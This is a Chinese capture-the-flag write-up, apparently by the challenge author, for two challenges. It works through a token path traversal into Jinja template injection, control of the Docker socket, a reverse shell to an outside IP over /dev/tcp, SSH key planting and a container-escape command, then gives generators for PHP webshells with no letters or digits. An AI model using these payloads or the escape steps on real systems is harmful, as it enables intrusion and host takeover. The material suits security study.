---
# System prepended metadata

title: shellgen

---

# shellgen

首先访问可以看到部分源码，发现在运行提交的 python jio本的时候使用的token拼接到了一个目录名上
![](https://i.imgur.com/l442vYx.png)

且直接挂载进了跑python脚本的容器

![](https://i.imgur.com/aTnanVH.png)

结合/result处（以及源码各个位置都在暗示的）目录结构：

![](https://i.imgur.com/NQcP204.png)

这样我们能通过控制token为`../templates`将整个模版目录挂载到python脚本的运行环境中。我们可以向模版目录下的一个子目录写一个`result.html`

```python
subdir = '?'
pld.post(host + '/submit', data={
    'token': '../templates/' + subdir,
    'code': f'''
import os
with open('/opt/result.html', 'w') as f:
    f.write("""{payload}""")
'''.strip()
})
for _ in range(10):
    res = pld.get(host + '/result').text
    if res: break
    time.sleep(1)
```

于是我们就能控制result.html中的内容了。。么？怎么`500 Internal Server Error`了？
如果有人愿意本地调试一下的话，就会发现jinja爆的错误是`TemplateNotFound`，我们看到jinja的FileSystemLoader中写道：

```python
def split_template_path(template):
    """Split a path into segments and perform a sanity check.  If it detects
    '..' in the path it will raise a `TemplateNotFound` error.
    """
    ...
...
def get_source(self, environment, template):
    pieces = split_template_path(template)
    ...
```

所以我们需要用另外一个session来触发新写入的`result.html`的渲染

```python
```python
subdir = 'qwq'
pld.post(host + '/submit', data={
    'token': '../templates/' + subdir,
    'code': f'''
import os
with open('/opt/result.html', 'w') as f:
    f.write("""{payload}""")
'''.strip()
})
ses = session()
ses.post(host + '/submit', data={'token': subdir, 'code', ''})
for _ in range(10):
    
    res = ses.get(host + '/result').text
    if res: break
    time.sleep(1)
```

此时由于我们上面的代码先提交到了队列里，会先于后提交的代码执行，这一点也在给出的部分源码中进行了暗示：

```python
def poll():
    ...
    if queue.empty():
        return
    job = queue.get()
    thread = Thread(target=evaluate, args=[job['token'], job['code']])
    thread.start()
...
scheduler.add_job(id='executor', func=poll, trigger="interval", seconds=10)
# 每十秒仅取出一项任务运行
```

> 实际上在题目环境中，如果提交空代码的话，会赋值`session['token']`而不会添加新的执行任务，本意也是为了方便多次跑脚本

所以正常情况下（你的脚本不至于屑到10秒都跑不完的情况下）用新session访问result接口会先看到你自己写进去的模版。由于缓存的缘故，我们需要不断换subdir。

接下来先随便构造一个模版。

我自己的话先选择了写一个小代理，类似这样：

```python
{% set socket=request.application.__self__._get_data_for_json.__globals__.__builtins__.__import__("socket") %}
{% set s=socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) %}
{% set n=s.connect("/var/run/docker.sock") %}
{% set n=s.sendall("{request}".encode()) %}
{{ s.recv(81920) }}
#.replace('}\n', '}').strip().replace('{request}', request)
```

完整的代理[脚本](https://gist.github.com/frankli0324/70d4b1e200a6d90ec6f97dfb87110537#file-proxy-py)

这样就可以像`DOCKER_HOST=localhost:9999 docker info`这样执行一些基础命令了。我们之所以能这么干是因为docker API本质上是基于HTTP设计的，传输过程无状态。

不过我们会发现像`docker run`这样的命令需要升级为双向连接，这样就干不了了，于是我们可以搞回来一个shell用用。我们把docker-cli和docker.sock搞进来，方便进一步操作宿主机。虽然题目容器本身没有外网，但是宿主机还是有外网的：

```python
{% set docker=request.application.__self__._get_data_for_json.__globals__.__builtins__.__import__("docker") %}
{% set s=docker.DockerClient() %}
{{ s.containers.run("ubuntu", "bash -c 'exec bash -i &>/dev/tcp/47.94.169.118/1234 <&1'", mounts=[docker.types.Mount(
	    type='bind',
	    source="/var/run/docker.sock",
	    target="/var/run/docker.sock",
	),docker.types.Mount(
	    type='bind',
	    source="/usr/bin/docker",
	    target="/usr/bin/docker"
	)]
) }}
```

等等，为什么permission denied？
这时候就应该进一步进行信息搜集。我们看一眼`docker info`：

```
Server:
 Containers: 2
  Running: 0
  Paused: 0
  Stopped: 2
  ...
 Server Version: 20.10.5
 Security Options:
  seccomp
   Profile: default
  rootless # 注意这里
  ...
 Kernel Version: 5.4.0-66-generic
 Operating System: Ubuntu 20.04.2 LTS
 Docker Root Dir: /home/d3ctf/.local/share/docker # 还有这里
```

> 这里应该给个hint的。。

关于docker-rootless的更多信息请参考<https://docs.docker.com/engine/security/rootless/>
简而言之，映射到题目容器的docker.sock对应的dockerd是一个低权限用户d3ctf启动的。宿主机上d3ctf用户的完整权限通过rootlesskit利用namespacing映射到了docker容器内的root权限，所以即便你拥有了完整控制dockerd的root权限，在宿主机也会被映射到d3ctf用户的权限。有一定了解之后我们将`/var/run/docker.sock`改为映射`/var/run/user/1000/docker.sock`进容器

之后就是拿宿主机的交互shell了。说实话这里我也没有找到太好的办法，我自己的话是先`curl ip.sb`拿到公网ip，在`/home/d3ctf/.ssh/authorized_keys`下写好自己的公钥，然后ssh连。不过由于比赛中我是把flag放在了d3ctf.dockerd启动的一个容器里，也有的队伍直接把flag容器拖走了，倒也不是不彳亍。这个flag容器也是挺有意思的，它的Dockerfile长这样：

```Dockerfile
FROM gcc AS builder

COPY getflag.cpp getflag.cpp
COPY sleep.cpp sleep.cpp
RUN g++ getflag.cpp -o getflag -static
RUN g++ sleep.cpp -o sleep -static

FROM scratch
COPY --from=builder getflag /getflag
COPY --from=builder sleep /sleep
CMD ["/sleep"]
```

所以即使拿到了宿主机shell，也得分析分析这个镜像里都有些啥才能getflag

本题想表达的有以下几点：

1. 在获取到部分源码时将其补全并在本地搭建最小环境，进行测试
2. docker.sock都能干些啥，docker rootless都能干些啥
3. 在能控制docker.sock时如何逃逸到**宿主机**（而不是别的容器），尤其是rootless dockerd（root dockerd可以`docker run -ti --privileged --net=host --pid=host --ipc=host --volume /:/host busybox chroot /host`，rootless不行）
4. 如何审没有任何shell命令的容器（`FROM scratch`）

# shellgen2

shellgen两道题起源于一个有趣的命题：无字母数字webshell怎么写能最短，有没有程序化的生成方式，如果有，该怎么写？
题目本身有点偏算法，但是由于判定松，无时间限制（五秒，很长很长了），成功拿到flag的队伍还蛮多的

#### 境界1，一字一`++`：

首先构造出`a`，对于每个字符都逐个递增，逐个拼接，是最原始暴力的解法：

```python
target = input()
print('<?php')
# 关于phpshell[5:]，我误以为php warning不会被捕获，给大家造成了一定的困扰，
# 在此表示一下抱歉。此处取phpshell[6:]
print('$__=[].[];$__=$__[0.9+0.9+0.9+0.9];', end='')
for c in target:
    print('$_=$__;', end='')
    print('$_++;' * (ord(c)-ord('a')-1), end='')
    print('$_1.=++$_;')
```

#### 境界2，优化学徒

取target中所有最长不下降子序列，如下：

```
acdbecfcdgef
a  b c cd ef
 cd e f  g
```

得到两条不下降的序列，然后根据原有序列依次从每个序列的头部开始输出。这里还涉及到一个细节，就是变量名如何取。觉的好玩的话可以思考思考。这个算法也是题目中所使用的算法。

#### 境界3，一遍过

```python
print('<?php')
print('$_=[].[];$_=$_[0.9+0.9+0.9+0.9];', end='')

def hash_char(c):
    # 组成由0与9组成的索引
    # 比如 0,9,90,99,900,909,990,999...
    # 二进制！
    return f(c)

target = input()


print('%__=[];')
for c in range(ord('a'), ord(max(target))+1):
    print('$_++;', end='')
    if c in target:
        print(f'$__[{hash_char(c)}]=$_;', end='')
# 这里有一点点小细节

print(f'$_={hash_char(target[0])};')
for c in target[1:]:
    print(f'$_.={hash_char(c)};')
print('?><?=$_;')
```

上面这个算法生成php代码的长度很大程度上取决于`hash_char`，是不是有种哈夫曼的味道？  
这样以来，我们只需要对a-z的空间扫描一次，就能拿到所有字母的索引，生成目标字符串时，每个字母只需要一个语句就能构造出来。

这个算法还能继续优化，根据目标字符串中字符出现的频率微调hash_char算法。

> 也有更好的算法，归根结底都是减少++的次数与新变量的个数。

这道题在实际比赛中本来就是作为shellgen的“好玩版”放在那里的，所以即使出现了用简单办法通过的队伍也没有进一步加强（其实做出来的25个队伍中绝大多数都是用很暴力的办法过的，由于只check了一组数据，可能会随机到对暴力算法非常友好的数据，所以多交几次大概也就过了），反而放宽了一些限制（当然有个限制是因为我自己的问题，再次抱歉），大家也就，开心就好（
